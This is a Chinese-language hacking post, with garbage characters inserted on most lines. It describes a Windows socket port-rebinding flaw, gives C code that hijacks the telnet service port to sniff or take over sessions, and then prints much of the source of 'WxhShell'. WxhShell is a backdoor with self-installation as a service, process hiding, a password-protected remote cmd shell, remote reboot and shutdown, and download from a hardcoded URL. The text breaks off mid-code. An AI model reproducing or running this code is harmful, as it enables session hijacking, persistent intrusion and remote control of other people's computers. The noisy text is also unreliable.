在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qx'F9I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
)x<oRHx] )k~{p;Ke saddr.sin_family = AF_INET;
1m{c8Z.h/d dq4t@:\o0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O>c2*9PM ^1\[hyZ! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hpBn_ A+QOox]< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Io*mFa? ~a ]R7X7 这意味着什么?意味着可以进行如下的攻击:
}Q1m Fs_zNN 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qKjUp" aYmN'
POi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)e?6 Ncy 6j6P&[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@xkI?vK6
m1#,B<6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
na`8ulN_ Aq*,cOF+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.a_xQ]eQ IKFNu9*"h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KB`">zq$u _|C T|q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
IAFj_VWC0 j"4]iI+ {" #include
+'`I]K> #include
Yw6d-5=: #include
W5U;{5 #include
Egm-PoPe DWORD WINAPI ClientThread(LPVOID lpParam);
X B[C&3I int main()
Fu*Qci1Z {
E/Adi^ WORD wVersionRequested;
/zTx+U.\I DWORD ret;
oFDJwOJ'Bj WSADATA wsaData;
/8[T2Z! BOOL val;
xN>+!&3%w SOCKADDR_IN saddr;
|Qz"Z<sNYw SOCKADDR_IN scaddr;
~|R/w%*C int err;
BnPL>11Y SOCKET s;
qG8-UOUDt SOCKET sc;
IuOQX} int caddsize;
FV>xAU$ HANDLE mt;
IWNIk9T,u DWORD tid;
'Im&&uSkr wVersionRequested = MAKEWORD( 2, 2 );
Epm%/ {sHV err = WSAStartup( wVersionRequested, &wsaData );
PESJ7/^E if ( err != 0 ) {
wpepi8w, printf("error!WSAStartup failed!\n");
I`KBj6n return -1;
G_5E#{u }
1vL$k[^&d saddr.sin_family = AF_INET;
x67,3CLy? )A*Sl2ew //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?t"bF :! +l@+e_> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
oh%/\Xu saddr.sin_port = htons(23);
wg{Y6XyH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
39Zs {
/>[~2d
kb printf("error!socket failed!\n");
vy{YGT return -1;
x5YHmvy/l }
S+M:{<AR val = TRUE;
n||!/u)* //SO_REUSEADDR选项就是可以实现端口重绑定的
QMBV"E_aY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3@^b's'S|} {
!k0t
(. printf("error!setsockopt failed!\n");
L~} 2&w return -1;
X0zE-h6P }
TM$Ek^fQ. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
mqv!"rk'w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
I3D#wXW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
S$%Y{ ]zR,Y=
# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nyr)d%I{ {
Fwfe5`9' ret=GetLastError();
+Heen3 printf("error!bind failed!\n");
>a5avSn return -1;
K0\Wty0 }
o](nK5? listen(s,2);
d+Bz
pS@p while(1)
iT"H%{+~ {
@V5'+^O caddsize = sizeof(scaddr);
'<KzWxuC //接受连接请求
K)n0?Q_> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pgU4>tyD if(sc!=INVALID_SOCKET)
bmu<V1[W {
bcy(
?( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&`A2&mZ if(mt==NULL)
\`: LPe {
ICI8xP}a? printf("Thread Creat Failed!\n");
*S>,5R0k break;
Ea2&7 }
dL!K''24{ }
p!w}hB598 CloseHandle(mt);
wfc[B;K\ }
oO)KhA?y closesocket(s);
k%v/&ojI WSACleanup();
fl18x;^I return 0;
u#m(Py }
)#n>))
DWORD WINAPI ClientThread(LPVOID lpParam)
!WReThq {
^Wz3 q-^ SOCKET ss = (SOCKET)lpParam;
u:7=Yy
: SOCKET sc;
DUK.-|a7 unsigned char buf[4096];
ALY%
h!L SOCKADDR_IN saddr;
/,Sd long num;
Q|W!m0XO DWORD val;
k&>l#oH DWORD ret;
sw@*N //如果是隐藏端口应用的话,可以在此处加一些判断
S.Fip_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
DLrG-C33 saddr.sin_family = AF_INET;
/+F|+1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F ttny] saddr.sin_port = htons(23);
j']Q-s(s if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pd{;`EW| {
sP NAG
printf("error!socket failed!\n");
>
AV
R3b return -1;
aE2
3[So }
"UY.;
P val = 100;
4c_F>Jw[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<AB.`[" {
T6ZJ SKM ret = GetLastError();
iAlFgOk' return -1;
V6ioQx=K# }
NX*9nwp^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V-(LHv {
8@a|~\3- ret = GetLastError();
m'%Z53& return -1;
r6-'p0| }
OWK)4[HY( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Z0 e+CEzq {
HG%H@uK printf("error!socket connect failed!\n");
/fM6%V=Y closesocket(sc);
&sx|sLw) closesocket(ss);
|k4ZTr]? return -1;
q[3b i!Q }
Px4zI9;cB while(1)
u?f3&pA {
C9}2F{8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
PHa#;6!5 //如果是嗅探内容的话,可以再此处进行内容分析和记录
uhLg2G^h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^JMSe- num = recv(ss,buf,4096,0);
&xqe8!FeA if(num>0)
: |c,.uO send(sc,buf,num,0);
@zJ#16Vi else if(num==0)
ku'%+svD break;
32IN;X| num = recv(sc,buf,4096,0);
8&=+Mw if(num>0)
o /fq send(ss,buf,num,0);
*X;g
Y else if(num==0)
m`c(J1Et break;
`Vwj|[0k }
@$79$:q N closesocket(ss);
j1>77C3 closesocket(sc);
^~5tntb. return 0 ;
7,e=|%7. }
Sg<''pUh [<sBnHbvQ. ++13m*fA ==========================================================
':!;6v|L K (plzQ3 下边附上一个代码,,WXhSHELL
f41!+W= S@7A) ==========================================================
cQv*lvG9> 'U)~|(\i #include "stdafx.h"
Z3R..vy8
?#kI9n<O #include <stdio.h>
A?;/]m; #include <string.h>
7@vcQv
kC #include <windows.h>
*k'9 %'< #include <winsock2.h>
%'* |N[ #include <winsvc.h>
DoPm{055J #include <urlmon.h>
AX1'.
\FTvN #pragma comment (lib, "Ws2_32.lib")
hpXu3o7e #pragma comment (lib, "urlmon.lib")
,h]N*Z-I" ?k_=?m #define MAX_USER 100 // 最大客户端连接数
_'AIXez7q #define BUF_SOCK 200 // sock buffer
!*|CIxk( #define KEY_BUFF 255 // 输入 buffer
cx2s|@u0 ~9oS~fP?I #define REBOOT 0 // 重启
$vy.BYFm #define SHUTDOWN 1 // 关机
^B& Z U)p2PTfB #define DEF_PORT 5000 // 监听端口
{djOU
9] oT|E\wj #define REG_LEN 16 // 注册表键长度
u(ZS sftat #define SVC_LEN 80 // NT服务名长度
1"odkM de1& // 从dll定义API
i}<R>]S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s !8]CV> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nfDPM\FFD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
+n MgQOs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#K*d:W3C w.l#Z} k // wxhshell配置信息
G)4 3Y! struct WSCFG {
CaBTqo int ws_port; // 监听端口
&9s6p6eb char ws_passstr[REG_LEN]; // 口令
$zmES tcm int ws_autoins; // 安装标记, 1=yes 0=no
2z[Pw0#V char ws_regname[REG_LEN]; // 注册表键名
FcW ?([l char ws_svcname[REG_LEN]; // 服务名
Vn/6D[}Tu char ws_svcdisp[SVC_LEN]; // 服务显示名
Gcs+@7!b char ws_svcdesc[SVC_LEN]; // 服务描述信息
~82jL%-u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(rwbF int ws_downexe; // 下载执行标记, 1=yes 0=no
+Kq>r|; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h'-TZXs0e1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g>im2AD+e ^1cqx]>E };
Z^fF^3x ~+lC%R // default Wxhshell configuration
e-}PJ%!,T struct WSCFG wscfg={DEF_PORT,
N%B#f\N "xuhuanlingzhe",
8:&@MZQ&! 1,
Zo0&<QWj "Wxhshell",
,XA;S5FE "Wxhshell",
Ew;<iY[ "WxhShell Service",
)%tf,3 "Wrsky Windows CmdShell Service",
bY>o%LL- "Please Input Your Password: ",
2s{yg%U( 1,
I$mOy{/# "
http://www.wrsky.com/wxhshell.exe",
Ew:JpMR "Wxhshell.exe"
AN~1E@" };
`z=MI66Nl a|7V{pp=M // 消息定义模块
H1?1mH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K5.C*|w char *msg_ws_prompt="\n\r? for help\n\r#>";
[U jbox char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|\_O8=B% char *msg_ws_ext="\n\rExit.";
+Zr03B char *msg_ws_end="\n\rQuit.";
zIo))L char *msg_ws_boot="\n\rReboot...";
"Z{^i3gN char *msg_ws_poff="\n\rShutdown...";
v;$^1 I char *msg_ws_down="\n\rSave to ";
nlmkkTHF8 8Peqm?{5Y5 char *msg_ws_err="\n\rErr!";
bm+ Mr char *msg_ws_ok="\n\rOK!";
P!O#"(r2] K0E;4r char ExeFile[MAX_PATH];
|;_
yAL int nUser = 0;
kv5Qxj} HANDLE handles[MAX_USER];
S$H4xkKs int OsIsNt;
Qp=uiXs s=q+3NTv SERVICE_STATUS serviceStatus;
-xcz+pHQ SERVICE_STATUS_HANDLE hServiceStatusHandle;
1OGlD+f NfO0^^" // 函数声明
FFQF0.@EBi int Install(void);
2)8lJXM$L int Uninstall(void);
Sc0ZT/Lm int DownloadFile(char *sURL, SOCKET wsh);
MYx*W7X int Boot(int flag);
vv8$u3H void HideProc(void);
$o @?D^ int GetOsVer(void);
d)G-K+&B int Wxhshell(SOCKET wsl);
U=yD! void TalkWithClient(void *cs);
uo{QF5z] int CmdShell(SOCKET sock);
]t=># int StartFromService(void);
u3ZG;ykM int StartWxhshell(LPSTR lpCmdLine);
xxiLi46/ 7 Ow7| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=0:hrg+Zgx VOID WINAPI NTServiceHandler( DWORD fdwControl );
S77Gc:[;8 E+2y-B)E // 数据结构和表定义
4Ek<
5s[ SERVICE_TABLE_ENTRY DispatchTable[] =
YW}/C wB {
-12v/an]L7 {wscfg.ws_svcname, NTServiceMain},
{l6]O {NULL, NULL}
W[?B@ sdSZ };
)5t_tPv Qpc{7#bp // 自我安装
z]WT>4 int Install(void)
m,KY_1%M {
;PHnv5 x@f char svExeFile[MAX_PATH];
M`<D Z<:< HKEY key;
-?(RoWv@X& strcpy(svExeFile,ExeFile);
a@a1/3 Z
kS*CG // 如果是win9x系统,修改注册表设为自启动
Kq?7#,_ if(!OsIsNt) {
m88~+o<G% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1)R)+`y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xn@jL;+<- RegCloseKey(key);
Qh[t##I/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w#1dO~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/{U{smtdFl RegCloseKey(key);
` WB|h)Y return 0;
@$*c0.
|z }
a9I8WQ }
meL'toaJdQ }
qa~[fORO[ else {
CL*%06QyE '!I?C/49k // 如果是NT以上系统,安装为系统服务
|l|]Tw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
xH0/R LK3J if (schSCManager!=0)
xki"' {
,*4"d._Y SC_HANDLE schService = CreateService
; M(}fV] (
[Ok8l=' schSCManager,
'KL(A-}! wscfg.ws_svcname,
\\qg2yI wscfg.ws_svcdisp,
ayD\b6Z2. SERVICE_ALL_ACCESS,
<H)@vW]_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
w s=T R SERVICE_AUTO_START,
B<R-|-# SERVICE_ERROR_NORMAL,
hmH$_YP} svExeFile,
kC0!`$<2f) NULL,
8if"U xV( NULL,
v(^rq NULL,
,54<U~Lg: NULL,
Wg%-m%7O NULL
GN<I|mGLJK );
8zCAy@u if (schService!=0)
hF~B&^dd. {
#r:`bQ0; CloseServiceHandle(schService);
rA`\we) CloseServiceHandle(schSCManager);
.+|DN"PgJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
fh^_=R(/ strcat(svExeFile,wscfg.ws_svcname);
O2G+
' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Kv]6 b2HT RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"v1(f| a RegCloseKey(key);
]G B}, return 0;
yjq
)}y,tF }
D:(f" }
>DRs(~|V# CloseServiceHandle(schSCManager);
.%rR }
taQ[>x7b }
T_uuFL 7|-xM>L$A return 1;
DX";v
J }
zEW:Xe) K*9b `% // 自我卸载
bwJi[xF int Uninstall(void)
n@Ag`} {
eFQi
K6`i HKEY key;
Pb,^UFa= >{S $0D if(!OsIsNt) {
=oME~oB~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&EPEpN
R RegDeleteValue(key,wscfg.ws_regname);
)ta5y7np
RegCloseKey(key);
([Aq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ry
?2 o! RegDeleteValue(key,wscfg.ws_regname);
@:&+wq_>A^ RegCloseKey(key);
cPcV[6)5K9 return 0;
C=IH#E= }
S nHAY< }
l5[xJH }
".%LBs~$ else {
!r*;R\!n2
x]oQl^F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Q*.FUV&; if (schSCManager!=0)
=!^iiHF {
@<G/H|f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3ms/v:\ if (schService!=0)
CD_f[u {
\z9?rvT: if(DeleteService(schService)!=0) {
(;&?B.<\: CloseServiceHandle(schService);
R3n&o%$* CloseServiceHandle(schSCManager);
Rda1X~-g return 0;
4C%>/*%8> }
?+5{HFx CloseServiceHandle(schService);
I_G>W3 }
iyYY)roB CloseServiceHandle(schSCManager);
h50StZ8Yr }
nZCpT
|M5 }
xbC8Amo;8" UD2<!a'T return 1;
zD^f%p ["# }
nq f<NH3i k8e"5 he // 从指定url下载文件
IWqxT?* int DownloadFile(char *sURL, SOCKET wsh)
OLNn3
J {
"t:.mA<v HRESULT hr;
fVUBCu char seps[]= "/";
k6'# char *token;
^-GX&ODa char *file;
uV_)JZW,L char myURL[MAX_PATH];
i*R:WTw# char myFILE[MAX_PATH];
|OZ>/l { id+m[']+ strcpy(myURL,sURL);
#0g#W token=strtok(myURL,seps);
'c0'P%[5A while(token!=NULL)
YeC,@d[ {
Y@H,Lk file=token;
I`W-RWZ token=strtok(NULL,seps);
D?}m
h1# }
yvWzc
uL# 0DB<hpC:5 GetCurrentDirectory(MAX_PATH,myFILE);
BhW]Oq& strcat(myFILE, "\\");
|Xm4(FN\ strcat(myFILE, file);
T[h}A"yK; send(wsh,myFILE,strlen(myFILE),0);
W}k?gg= send(wsh,"...",3,0);
P}9Y8$Y>U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&JhIn%=- if(hr==S_OK)
-ouJf}#R return 0;
kgI=0W> else
pq?[ wp" return 1;
n,jE#Z.D ./nYXREO| }
udD*E~1q ~hz@9E]O // 系统电源模块
7e4tUAiuU int Boot(int flag)
SKSAriS~ {
A
Ok7G?Y HANDLE hToken;
#/t>}lc TOKEN_PRIVILEGES tkp;
92aDHECo 4 uy @ { if(OsIsNt) {
9Ir~X|}\iL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
y-<PsP-I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B:- KZuO tkp.PrivilegeCount = 1;
|369@un6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?PE1aB+{: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
IEoR7: if(flag==REBOOT) {
;}eEG{`Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
A,lw-(.z4Z return 0;
ss`q{ARb
}
k;fnC+Y$s else {
YY:iPaGO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-{8Q= N return 0;
im\YL< }
a&s"#j }
QE#-A@c else {
( X
'FQ if(flag==REBOOT) {
B`Or#G3ph if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1s}``1> return 0;
=!S@tuY }
%<=vbL9 else {
!v5sWVVR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
86[RH!e return 0;
m{lRFKx>s }
h"BhTx7E} }
VJl &Bq+ /2_B$ return 1;
$: 4mOl }
=>:% n C`)^~C_]`3 // win9x进程隐藏模块
N
t>HztXd void HideProc(void)
P96Cw~<Q? {
`z$uw
t|#NMRz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RRI>bh] if ( hKernel != NULL )
EAC(^+15K {
uF]D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#>E3' 5b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J"D&q FreeLibrary(hKernel);
nXM9Px! }
dWW-tHv# ^i`3cCFB< return;
r\l3_t }
{m+S{dWp #"o6OEy$A# // 获取操作系统版本
f
$.\o int GetOsVer(void)
6zp@#vYI {
6"7:44O;G OSVERSIONINFO winfo;
s=q%:uCO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sxN>+v11z GetVersionEx(&winfo);
c?p0#3%L# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1%SJ1oY return 1;
|~/3u/ else
^^4K/XBve return 0;
W;OYO }
Jm]]>K8.3V vGPf`2/j. // 客户端句柄模块
++T
"+p int Wxhshell(SOCKET wsl)
EBj,pk5M {
.`p<hA)%[C SOCKET wsh;
q(ZB. struct sockaddr_in client;
x%IXwP0 DWORD myID;
SmT+L,:D %S
>xSqX while(nUser<MAX_USER)
,yHzo {
nxn[ ~~ int nSize=sizeof(client);
*c~'0|r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
b[{m>Fa+o# if(wsh==INVALID_SOCKET) return 1;
(opROsFh ~J:$gu~` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
OQytgXED if(handles[nUser]==0)
=RW*
%8C closesocket(wsh);
d{iu+=NXz else
36kc4= nUser++;
;uM34^ }
o ;[C(OS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Xmf D+ah ok return 0;
"fX_gN? }
e/]O<, * S\!
a"0$ // 关闭 socket
}"%!(rx void CloseIt(SOCKET wsh)
M(;y~|e {
6pM"h5hA closesocket(wsh);
4)z3X\u|Z2 nUser--;
')AByD}Hi] ExitThread(0);
p/ziFpU }
Ek"YM[ \S=XIf // 客户端请求句柄
|uQn|"U4 void TalkWithClient(void *cs)
*ajFZI {
otWo^CE$ jGk7=}nw SOCKET wsh=(SOCKET)cs;
bjM-Hd/K char pwd[SVC_LEN];
ppwd-^f3j char cmd[KEY_BUFF];
i>ESEmb- char chr[1];
>VRo|o<D int i,j;
ax-=n ( ^;V}l?J_s while (nUser < MAX_USER) {
QE7+rBa 0=N4O!X9 if(wscfg.ws_passstr) {
p&k0Rx0Q3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6obQ9L c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7j@^+rkr3f //ZeroMemory(pwd,KEY_BUFF);
LFEp i=0;
/`7 I K while(i<SVC_LEN) {
E0sbU<11 i:l80 GK // 设置超时
httls>:xB| fd_set FdRead;
S[-.tvI;Q struct timeval TimeOut;
QT`fix{ FD_ZERO(&FdRead);
pu\b`3C( FD_SET(wsh,&FdRead);
#D!$~h&i TimeOut.tv_sec=8;
Y;fuh[# TimeOut.tv_usec=0;
Am2*- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'4af
], if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}U2[? &E.OyqGZV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
euRCBzc pwd
=chr[0]; /'-:=0a
if(chr[0]==0xd || chr[0]==0xa) { ::4"wU3t
pwd=0; K&j'c
break; z`\#$
} bcq@N
i++; -(6eVI
} .[edln
PfVEv *
// 如果是非法用户,关闭 socket re7!p(W?,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b0r,h)R
} Ro$j1Aw(
|C~Sr#6)7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l)}<#Ri
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /DLr(
4qqF v?O[r
while(1) { x2sN\tOh^
k%"$$uo
ZeroMemory(cmd,KEY_BUFF); t@X M /=d
%0NL Rfp
// 自动支持客户端 telnet标准 -Bl/4p
j=0; uEBQoP2
while(j<KEY_BUFF) { YavfjS:2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P1dN32H
o
cmd[j]=chr[0]; Xfj)gPt}
if(chr[0]==0xa || chr[0]==0xd) { kBrvl^D{5
cmd[j]=0; `2pO5B50
break; jeY4yM
} FL59
j++; RwUW;hU
} Vz%"9`r
wh9L(0
// 下载文件 >r~0SMQr
if(strstr(cmd,"http://")) { j6`6+W=S(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $B<~0'6}
if(DownloadFile(cmd,wsh)) CP}0Ri)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )m|C8[ u
else A3xbT\xdg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [`q.A`Fd
} bSQ_"
else { Lt>?y&CcQ
"K8nxnq
switch(cmd[0]) { 3 Q@9S
n1_ %Td
// 帮助 STv(kQs
case '?': { \{kHSV%z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IT,"8s
break; OE6#YT
} JAN|aCzD
// 安装 ,Ak ^nX
case 'i': { Nc,*hsx'
if(Install()) 7Ez}k}aR<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O)l%OOv
else }Bd_:#.mw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xOhRTxic
break; e!6eZ)l
} ubD#I{~J
// 卸载 o.v2z~V
case 'r': { /({P1ti:C
if(Uninstall()) r|M'TA~:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {d8^@UL
else k@7kNMl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!9{U%s
break; ,dOMW+{
} 2mQOj$Lv
// 显示 wxhshell 所在路径 )ukF3;Gt
case 'p': { rYbCOazr
char svExeFile[MAX_PATH]; ]Uu
aN8
strcpy(svExeFile,"\n\r"); b"^\)|*4;
strcat(svExeFile,ExeFile); Xp#~N_S$
send(wsh,svExeFile,strlen(svExeFile),0); {JTmP `&l
break; $kv@tzO
} {Wh BoD
// 重启 (Bsw/wv
case 'b': { STw oYn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bea|?lK
if(Boot(REBOOT)) t~q?lT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )TM!ms+K
else { %U-Qsy8|D)
closesocket(wsh); _n7%df
ExitThread(0); aJa.U^1{
} Rw/Ciw2@?
break; nVNs][
} ,|A{!j`
// 关机 z[*zuo
case 'd': { _g65pxt =Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZH!;z-R
if(Boot(SHUTDOWN)) (,shiK[5f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QOd!]*W`?m
else { v3~FR,Kl
closesocket(wsh); \PzN XQ$
ExitThread(0); NfOp=X?Y
} RFB(d=o5S
break;
Ll?g.z"
} vABXXB
// 获取shell =Aj"j-r&{
case 's': { % oR>Uo
CmdShell(wsh); Nvhy3
closesocket(wsh); x+K gc[r
ExitThread(0); UP R/XQ
break; %iX/y
} h>| g2h
// 退出 N70zjy4?fL
case 'x': { 1b8c67j[
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,b4g.CV
CloseIt(wsh); L*9H#%3
break; tR5tPPw
} 6A.P6DW
// 离开 B O]=vH
case 'q': { v"/TmiZ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZOC#i i`:
closesocket(wsh); >GmN~"iJ
WSACleanup(); Tn /Ut}]O
exit(1); i2`#
break; Vli3>K&
} loBtd%wY
} TH YVT%v
} @"w2R$o
,&[7u9@
// 提示信息 CB6 o$U
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TqAtcAurM
} (U _wp's
} gd_^
yZ5x88 >
return; `2,a(Sk#
} v~f'K3fLp
<&6u]uKrW
// shell模块句柄 D,E$_0
int CmdShell(SOCKET sock) 4QO/ff[ o
{ $e*B:}x}
STARTUPINFO si; l^
Rm0t_
ZeroMemory(&si,sizeof(si)); JCNk\@0i*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l1|~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }I]W'<jY
PROCESS_INFORMATION ProcessInfo; /h7.oD8CU
char cmdline[]="cmd"; P2t_T'R}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ydB$4ZB3[
return 0; )d:K:YXt
} g#|oif9o
obj!I7
// 自身启动模式 dHq#
int StartFromService(void) McP~}"!^
{ qF'~F`6
typedef struct 4~*Y];!Q
{ cLAesj
DWORD ExitStatus; 6{8/P'@/Zz
DWORD PebBaseAddress; >J@egIKzP
DWORD AffinityMask; fx]eDA|$e
DWORD BasePriority; nc&Jmo7
ULONG UniqueProcessId; _[F@1NJ
